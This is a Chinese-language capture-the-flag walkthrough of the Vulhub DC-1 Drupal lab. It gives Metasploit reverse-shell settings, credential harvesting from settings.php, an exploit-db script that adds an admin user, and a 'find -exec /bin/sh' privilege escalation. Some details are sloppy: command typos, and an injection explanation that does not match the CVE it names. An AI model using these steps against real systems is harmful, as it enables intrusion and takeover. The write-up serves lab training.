內網靶場之Drupal(Vulhub-DC-1靶場)詳細攻擊過程
Drupal:
Drupal是使用PHP語言編寫的開源內容管理框架(CMF),它由內容管理系統(CMS)和PHP開發框架(Framework)共同構成。
注入原理:
Drupal Sql注入漏洞原理是醬紫的,Drupal在處理IN語句的時候,要通過expandArguments函數來展開數組。由於expandArguments函數沒有對當前數組中key值進行有效的過濾,給攻擊者可乘之機。攻擊者通過精心構造的SQL語句可以執行任意PHP代碼。
詳細原理:https://www.freebuf.com/vuls/47690.html
漏洞環境:
靶場地址:https://www.vulnhub.com/entry/dc-1-1,292/
下載地址:https://download.vulnhub.com/dc/DC-1.zip
任務描述:包含5個Flag,初級難度,最終目標是在root主目錄中找到並讀取該標志
攻擊機 kali :192.168.0.199
靶機:192.168.0.183
(訪問靶場80端口是cms框架的登錄頁面)
漏洞利用:
Drupal 開源內容管理框架注入漏洞,反彈shell:
首先弱口令登錄,掃端口、掃后台都沒什么較大的收獲。於是將目標盯在了Drupal這個cms框架上面了,發現這個cms有一個注入getshell的漏洞(CVE-2018-7600),並且metasploit中已有攻擊模塊,可以直接利用。
-
打開msf,查找drupal武器庫
msfconsole search drupal
這里可以根據需求選擇,我選擇比較新的2018年的攻擊模塊
-
利用攻擊模塊,需要設置3個參數,rhost、lhost、和TARGETURI。
set rhost 192.168.0.183 set lhost 192.168.0.199 set TARGRTURI drupal
-
run攻擊即可,將反彈命令行控制台meterpreter,輸入shell就可以執行命令了
初級內網滲透-flag1:
首先雖然shell已經進入,但它並不是交互的shell,所以我們要進入交互式的shell。而且他的權限是www-data權限,權限較低很多命令不能執行
-
使用python反彈一個交互式shell TTY。
python -c 'import pty;pty.spawn("/bin/bash")'
-
查看當前目錄,看有無可以利用的信息文件,其他目錄信息如下。發現了第一個flag1文件,查看flag1文件。
ls cat flag1.txt
Every good CMS needs a config file - and so do you. 每個好的CMS都需要一個配置文件——你也一樣。
敏感信息分析獲取flag2:
通過flag1的提示,告知我們cms的配置文件很重要,暗藏敏感文件。所以我們需要查看目錄下的其他文件來獲取信息。
-
首先我們百度搜索drupal有哪些重要的配置文件及重要文件的默認路徑 ,挑選重點下手能節省時間。
-
drupal的配置文件是 /sites/default/settings.php ,是數據庫連接配置文件。我們去查看這個文件看有無收獲。
cd /sites/default/ ls cat settings.php
我們發現了flag2內容,以及數據庫的賬戶和密碼
* flag2 * Brute force and dictionary attacks aren't the * only ways to gain access (and you WILL need access). * What can you do with these credentials? (flag2 爆破攻擊和字典攻擊不是 獲得訪問權限的唯一方法(您將需要訪問權限)。 你能用這些證書做什么?) 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '',
數據庫相關信息獲取
首先我們通過flag2得到了數據庫為mysql數據庫,並且數據庫名、賬號和密碼都有了,肯定是要進入數據庫看有無所需信息的。如系統管理員賬戶信息
-
登錄數據庫
msql -u dbuser -p username => dbuser password => R0ck3t database => drupaldb
-
數據庫基本操作,查看數據庫內容
show database; use drupaldb; show tables;
發現用戶表為users,注意Drupal框架默認的用戶表就是users表。
-
查詢users表中,系統管理員admin的賬戶信息
select * from users; select name,pass from users;
發現admin賬號和經過加密的密碼,drupal常用密碼加密是MD5格式,但是7.0以后因為安全性問題將加密方式改成了hash加密(由於很多在線MD5爆破和MD5數據庫,可以查到很多MD5碼的原文,所以Drupal 7已不再采用Drupal 6和5簡單的MD5加密,而是采用一種新型的Hash加密方法。新型加密方法是“加了鹽(Salt)”的MD5碼,簡單理解就是並不會直接將password進行MD5加密,而會和用戶名或其它隨機字符串組合在一起后再MD5加密。)。
這里不是md5加密,應該是自定義的加密方式。flag2中給的提示暴力破解不是唯一的方法我們得想一下其他的辦法。
數據庫admin管理員密碼修改及獲取flag3
我們想辦法的同時也可以百度向開發人員詢問答案,查找drupal7忘記密碼怎么辦?drupal7如何重置密碼?drupal7如何修改密碼?這些問題讓我們拿到admin這個管理員賬戶。
-
drupal7重置admin用戶的密碼
exit $ls $php ./scripts/password-hash.sh 123456 mysql -h localhost -u dbuser -p Enter password:R0ck3t use drupaldb; update users set pass='$S$DQZsZLqxCbnNCRuvOFCQBC2snsbkjGrH3Xw4nqxxhuYIONkuC4dP' where name='admin';
-
登錄成功
更隱蔽方式,添加新管理員賬戶獲取flag3
exploit-db(漏洞利用庫):
kali中已經內置,默認路徑為:/pentest/exploits/exploitdb。可以使用searchsploit命令來搜索exp進行利用。
在exploitdb中有一個針對Drupal 7版本的攻擊腳本,可以增加一個admin權限的用戶賬號,第二種方法是通過該過程新增admin密碼。
-
查看Drupal版本,確定Drupal版本為7.24
cat /var/www/includes/bootstrap.inc | grep VERSION
-
使用searchsploit查找可利用漏洞。選擇添加管理員功能的攻擊腳本適用於7.0-7.31范圍(每個腳本括號后面有功能描述,我這里遮住了),符合7.24版本。
searchsploit drupal
-
利用drupal7.0版本漏洞增加有admin權限的用戶
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.0.208 -u hkb -p hkb 后面靶機出了點問題,靶機ip換成了192.168.0.208
新增的管理員用戶如下
-
使用新添加的用戶hkb登錄網站,在content模塊下找到flag3。
Congratulations! Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. 恭喜你! 特殊的PERMS可以幫助找到密碼-但您需要-exec該命令,以確定如何獲取在shadow文件中的內容 很明顯的提示:find+perms+exec 命令用來提權
根據用戶信息獲取flag4
根據flag3的提示提權,我們嘗試查看用戶列表信息(包含用戶權限信息),這些用戶信息一般存儲在/etc/passwd目錄下。
-
查看用戶列表,獲取信息
cat /etc/passwd
注意,/etc/passwd包含系統所有賬戶信息,只有超級用戶才有寫和訪問。該文件每個用戶占一行用,分隔成七個字段。如下圖所示:
發現了flag4這個用戶,並且得到了flag4的主目錄為home目錄。我們切換到home目錄尋找flag4相關文件
-
切換到home目錄尋找flag4相關文件,並嘗試查看。
cd /home/flag4 cat flag4.txt
flag4提示內容: 提示最后flag in root下面。
其實也可以直接用find命令查找flag4這個關鍵字,也能爆出flag4文件的路徑。主要看個人思路
find / -name "flag4
cd /home/flag4
cat flag4.txt
提權+獲得最終flag
根據flag4的提示信息,最后一個flag存在於root目錄下。我們可以使用find命令查找root目錄下相關文件信息。
-
使用find命令查看與/root目錄有關的文件信息
find /root find命令是用來在指定目錄下查找文件。任何位於參數之前的字符串都將被視為欲查找的目錄名。如果使用該命令時,不設置任何參數,則find命令將在當前目錄下查找子目錄與文件,並將查找到的子目錄和文件全部進行顯示。 find(選項)(參數) -exec<執行指令>:假設find指令的回傳值為True,就執行該指令 -perm<權限數值>:查找符合指定的權限數值的文件或目錄
發現flag文件存在於/root目錄下,嘗試打開它
發現沒有權限,所以必須要提權才能查看最終的flag文件
-
根據flag3中的提示,使用“-exec”提權,也就是find+perms+exec 命令來提權。這里有兩種方法可以用,看個人想法。詳細關於find提權會在另一篇文章中詳解
1. find ./ acce -exec '/bin/sh' \; 2. touch bcce find bcce -exec '/bin/sh' \;
-
再次嘗試打開/root目錄下的flag文件
cd /root ls cat thefinalflag.txt
成功訪問最后一個flag文件,游戲結束了。
總結:
本次初級內網滲透靶場雖然初級,但也涉及了大量的知識點。
- 使用python反彈一個交互式shell
- 配置文件十分重要,重要的配置文件可以搜索相關系統或者框架的默認路徑,能在較短時間內獲取有用信息。如: drupal的/sites/default/settings.php ,是數據庫連接配置文件
- exploit-db(漏洞利用庫)真的很強大,里面很多攻擊腳本。不知道為什么以前很少用,現在要加強對他的了解了。他就是metspoit的兄弟
- /etc/passwd:linux默認存儲用戶列表的文件
- linux suid提權相關知識,在后面的文章中再詳細了解。
參考文章:
https://my.oschina.net/u/4257499/blog/3230676
https://blog.csdn.net/szlg510027010/article/details/106541167/